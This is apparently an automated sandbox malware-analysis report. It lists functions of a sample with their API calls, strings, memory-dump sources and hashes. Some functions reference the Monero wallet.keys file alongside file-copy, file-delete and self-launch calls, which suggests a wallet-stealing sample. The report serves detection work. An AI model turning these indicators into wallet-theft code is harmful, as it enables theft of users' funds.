String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: 6f62dcf4052917a85b9a2850e411609cfe69c379ddd327e54b10dd5b56bb8578
Instruction ID: 84cb159bbf7dfe6013dd0ef63fdc3d087eed08f64f0ad5d056cd42d0e3817df8
Opcode Fuzzy Hash: 6f62dcf4052917a85b9a2850e411609cfe69c379ddd327e54b10dd5b56bb8578
Instruction Fuzzy Hash: 88F0E07138066823E53011E51F4BF66255D67C1B15F707435F66CDEBC0DA50E40686F4

Function 6C7DD468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C7ECBE8: GetCurrentProcess.KERNEL32(?,6C7B31A7), ref: 6C7ECBF1
Part of subcall function 6C7ECBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C7B31A7), ref: 6C7ECBFA

EnterCriticalSection.KERNEL32(6C83E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C7ED1C5), ref: 6C7DD4F2
LeaveCriticalSection.KERNEL32(6C83E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C7ED1C5), ref: 6C7DD50B

Part of subcall function 6C7BCFE0: EnterCriticalSection.KERNEL32(6C83E784), ref: 6C7BCFF6
Part of subcall function 6C7BCFE0: LeaveCriticalSection.KERNEL32(6C83E784), ref: 6C7BD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C7ED1C5), ref: 6C7DD52E
EnterCriticalSection.KERNEL32(6C83E7DC), ref: 6C7DD690
LeaveCriticalSection.KERNEL32(6C83E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C7ED1C5), ref: 6C7DD751

Strings

MOZ_CRASH(), xrefs: 6C7DD4BB

Memory Dump Source

Source File: 00000000.00000002.2398545451.000000006C7B1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7B0000, based on PE: true

Associated: 00000000.00000002.2398518716.000000006C7B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398609967.000000006C82D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398643028.000000006C83E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398679946.000000006C842000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7b0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: b9755e06167966589afcb3eb87fdae804f22e792c46e924866ace846bee09a54
Instruction ID: 7148d33a0db2c644656519fb595ee6280355530b9f27212a016b8f7ee0c7cc95
Opcode Fuzzy Hash: b9755e06167966589afcb3eb87fdae804f22e792c46e924866ace846bee09a54
Instruction Fuzzy Hash: 5B51E271A047118FD328CF68C29461ABBE1EB99718F15493EE599C7B85D730A800CFE1

Function 00EFC84E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtGetStringTypeA.LIBCMT ref: 00EFC8EC
___crtLCMapStringA.LIBCMT ref: 00EFC90C
___crtLCMapStringA.LIBCMT ref: 00EFC931

Strings

, xrefs: 00EFC896

Memory Dump Source

Source File: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID: String___crt$Type
String ID:
API String ID: 2109742289-3916222277
Opcode ID: 1c0835955839b2106a0a43fde5cff342ffc6546e1185bd5a6450eec402604aa0
Instruction ID: 03a48daccb70e13e6b2cd9fec72c835e13d03ec542477ecd33cf0f27771a079c
Opcode Fuzzy Hash: 1c0835955839b2106a0a43fde5cff342ffc6546e1185bd5a6450eec402604aa0
Instruction Fuzzy Hash: F141097110079C5EDB258B24CD84FFB7BED9F45708F3454E8EACAA6182D2719A44DF60

Function 6C80B410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C7B4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C7F3EBD,6C7F3EBD,00000000), ref: 6C7B42A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C80B127), ref: 6C80B463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C80B4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C80B4E4

Strings

pid:, xrefs: 6C80B4DE

Memory Dump Source

Source File: 00000000.00000002.2398545451.000000006C7B1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7B0000, based on PE: true

Associated: 00000000.00000002.2398518716.000000006C7B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398609967.000000006C82D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398643028.000000006C83E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398679946.000000006C842000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7b0000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: 81334c6dd7546fbc5ed9ee863e4ccf1439d94534536571fb3556574bea90bfbe
Instruction ID: 8285fa124b6413627b7070e29875d6b4808a7dfc2a8c9621e7f194323a9a5ee0
Opcode Fuzzy Hash: 81334c6dd7546fbc5ed9ee863e4ccf1439d94534536571fb3556574bea90bfbe
Instruction Fuzzy Hash: 17311F31B016198BDB20DFA9DE84AAEB7B5FF04308F540929D80167A41D731AA49CBE1

Function 00EF6630 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 00EF6663

Part of subcall function 00EFA740: lstrcpy.KERNEL32(00F00E17,00000000), ref: 00EFA788

Part of subcall function 00EFA9B0: lstrlen.KERNEL32(?,01758BB0,?,\Monero\wallet.keys,00F00E17), ref: 00EFA9C5
Part of subcall function 00EFA9B0: lstrcpy.KERNEL32(00000000), ref: 00EFAA04
Part of subcall function 00EFA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00EFAA12

Part of subcall function 00EFA8A0: lstrcpy.KERNEL32(?,00F00E17), ref: 00EFA905

ShellExecuteEx.SHELL32(0000003C), ref: 00EF6726
ExitProcess.KERNEL32 ref: 00EF6755

Strings

<, xrefs: 00EF66D9

Memory Dump Source

Source File: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: f4814336a13e94bf327fe39669855378d5586f27e33b1239664d5c4a366e381e
Instruction ID: 45b4f272ef58ef1a0c345fd1359e5a4cb06fe0b21b23e0f13938b76c2b154cbe
Opcode Fuzzy Hash: f4814336a13e94bf327fe39669855378d5586f27e33b1239664d5c4a366e381e
Instruction Fuzzy Hash: 60310DB1801218AADB28EF50D995BEE77B8AF48300F4051A9F31977191DFB46B88CF55

Function 00EF87C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00F00E28,00000000,?), ref: 00EF882F
RtlAllocateHeap.NTDLL(00000000), ref: 00EF8836
wsprintfA.USER32 ref: 00EF8850

Part of subcall function 00EFA740: lstrcpy.KERNEL32(00F00E17,00000000), ref: 00EFA788

Strings

%dx%d, xrefs: 00EF8847

Memory Dump Source

Source File: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 1695172769-2206825331
Opcode ID: bb72509bc67a1612d9179dd7d2d6a2a7b796ebb825c9adc302f29f2a91ea9115
Instruction ID: eacdcb71770b1ed3c66956e8cf8e45feacd36d4f8acccba4837adb14f039c155
Opcode Fuzzy Hash: bb72509bc67a1612d9179dd7d2d6a2a7b796ebb825c9adc302f29f2a91ea9115
Instruction Fuzzy Hash: 732163B1A40208BFDB28DF94ED45FAEBBB8FF48701F104129F615A7684C77999108BA0

Function 6C7FE550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C7FE577
AcquireSRWLockExclusive.KERNEL32(6C83F4B8), ref: 6C7FE584
ReleaseSRWLockExclusive.KERNEL32(6C83F4B8), ref: 6C7FE5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C7FE8A6

Strings

MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C7FE722, 6C7FE750, 6C7FE7A2
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C7FE826, 6C7FE850
MOZ_PROFILER_STARTUP, xrefs: 6C7FE5A1, 6C7FE5CC, 6C7FE5FF, 6C7FE62A
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C7FE655
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C7FE777

Memory Dump Source

Source File: 00000000.00000002.2398545451.000000006C7B1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7B0000, based on PE: true

Associated: 00000000.00000002.2398518716.000000006C7B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398609967.000000006C82D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398643028.000000006C83E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398679946.000000006C842000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7b0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: 20738cb6e239d90c812bcbe724c1e2335f0ca876fdfc422e709e464d7d3481ec
Instruction ID: ee377f37f991151ed99a2fc5549461bc6e786f535423aa4c783553bf1a702de1
Opcode Fuzzy Hash: 20738cb6e239d90c812bcbe724c1e2335f0ca876fdfc422e709e464d7d3481ec
Instruction Fuzzy Hash: C111E131600258DFCB309F98C948A6ABBB4FBC972CF402A69F89947750C7B0A805CBD1

Function 00EF8D50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,00EF951E,00000000), ref: 00EF8D5B
RtlAllocateHeap.NTDLL(00000000), ref: 00EF8D62
wsprintfW.USER32 ref: 00EF8D78

Strings

%hs, xrefs: 00EF8D6F

Memory Dump Source

Source File: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesswsprintf
String ID: %hs
API String ID: 769748085-2783943728
Opcode ID: 7824e5485e66be67ec6930cb9a55840f4303c3a9062ecaf0fa7d80f7a97c4b32
Instruction ID: 981f08115144fa530b20d0bfd931dcd18fde8af878b0d328f875e6be5c4528b4
Opcode Fuzzy Hash: 7824e5485e66be67ec6930cb9a55840f4303c3a9062ecaf0fa7d80f7a97c4b32
Instruction Fuzzy Hash: 2CE08670A40208BBD724DF94E809E5977B8EF04702F004064FD0987680D9719E509B55

Function 6C800C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C800CD5

Part of subcall function 6C7EF960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C7EF9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C800D40
free.MOZGLUE ref: 6C800DCB

Part of subcall function 6C7D5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C7D5EDB
Part of subcall function 6C7D5E90: memset.VCRUNTIME140(6C817765,000000E5,55CCCCCC), ref: 6C7D5F27
Part of subcall function 6C7D5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C7D5FB2

free.MOZGLUE ref: 6C800DDD
free.MOZGLUE ref: 6C800DF2

Memory Dump Source

Source File: 00000000.00000002.2398545451.000000006C7B1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7B0000, based on PE: true

Associated: 00000000.00000002.2398518716.000000006C7B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398609967.000000006C82D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398643028.000000006C83E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398679946.000000006C842000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7b0000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: 8b642d6d6b524801c8df52a22828dcdf50fbac95b3986c87a4f3d6ce032fba93
Instruction ID: 8b3e376c59b17da6cc0ef9a4066bad835f9ffae00f79617ed65dea65e19bf7fb
Opcode Fuzzy Hash: 8b642d6d6b524801c8df52a22828dcdf50fbac95b3986c87a4f3d6ce032fba93
Instruction Fuzzy Hash: FD415B75A087848BD320DF29C64479AFBE5BFC9714F118E2EE8D887710D770A484CB92

Function 6C80CCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C7FDA31,00100000,?,?,00000000,?), ref: 6C80CDA4

Part of subcall function 6C7CCA10: malloc.MOZGLUE(?), ref: 6C7CCA26

Part of subcall function 6C80D130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C80CDBA,00100000,?,00000000,?,6C7FDA31,00100000,?,?,00000000,?), ref: 6C80D158
Part of subcall function 6C80D130: InitializeConditionVariable.KERNEL32(00000098,?,6C80CDBA,00100000,?,00000000,?,6C7FDA31,00100000,?,?,00000000,?), ref: 6C80D177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C7FDA31,00100000,?,?,00000000,?), ref: 6C80CDC4

Part of subcall function 6C807480: ReleaseSRWLockExclusive.KERNEL32(?,6C8115FC,?,?,?,?,6C8115FC,?), ref: 6C8074EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C7FDA31,00100000,?,?,00000000,?), ref: 6C80CECC

Part of subcall function 6C7CCA10: mozalloc_abort.MOZGLUE(?), ref: 6C7CCAA2

Part of subcall function 6C7FCB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C80CEEA,?,?,?,?,00000000,?,6C7FDA31,00100000,?,?,00000000), ref: 6C7FCB57
Part of subcall function 6C7FCB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C7FCBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C80CEEA,?,?), ref: 6C7FCBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C7FDA31,00100000,?,?,00000000,?), ref: 6C80D058

Memory Dump Source

Source File: 00000000.00000002.2398545451.000000006C7B1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7B0000, based on PE: true

Associated: 00000000.00000002.2398518716.000000006C7B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398609967.000000006C82D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398643028.000000006C83E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398679946.000000006C842000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7b0000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 191d3eafeba9a0d0b0d20b6887fa53590d1389f058eb91f3380b7a95bb4ee786
Instruction ID: 57c29710958f4b17642aee8ac5bfe5348c344688606be44652af7d6559c510b0
Opcode Fuzzy Hash: 191d3eafeba9a0d0b0d20b6887fa53590d1389f058eb91f3380b7a95bb4ee786
Instruction Fuzzy Hash: 16D18F71B04B069FD718CF28C980799F7E1BF99308F01862DD8598B712EB71A965CBC2

Function 00EED400 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00EFA740: lstrcpy.KERNEL32(00F00E17,00000000), ref: 00EFA788

Part of subcall function 00EFA9B0: lstrlen.KERNEL32(?,01758BB0,?,\Monero\wallet.keys,00F00E17), ref: 00EFA9C5
Part of subcall function 00EFA9B0: lstrcpy.KERNEL32(00000000), ref: 00EFAA04
Part of subcall function 00EFA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00EFAA12

Part of subcall function 00EFA8A0: lstrcpy.KERNEL32(?,00F00E17), ref: 00EFA905

Part of subcall function 00EF8B60: GetSystemTime.KERNEL32(00F00E1A,01759C68,00F005AE,?,?,00EE13F9,?,0000001A,00F00E1A,00000000,?,01758BB0,?,\Monero\wallet.keys,00F00E17), ref: 00EF8B86

Part of subcall function 00EFA920: lstrcpy.KERNEL32(00000000,?), ref: 00EFA972
Part of subcall function 00EFA920: lstrcat.KERNEL32(00000000), ref: 00EFA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00EED481
lstrlen.KERNEL32(00000000), ref: 00EED698
lstrlen.KERNEL32(00000000), ref: 00EED6AC
DeleteFileA.KERNEL32(00000000), ref: 00EED72B

Memory Dump Source

Source File: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
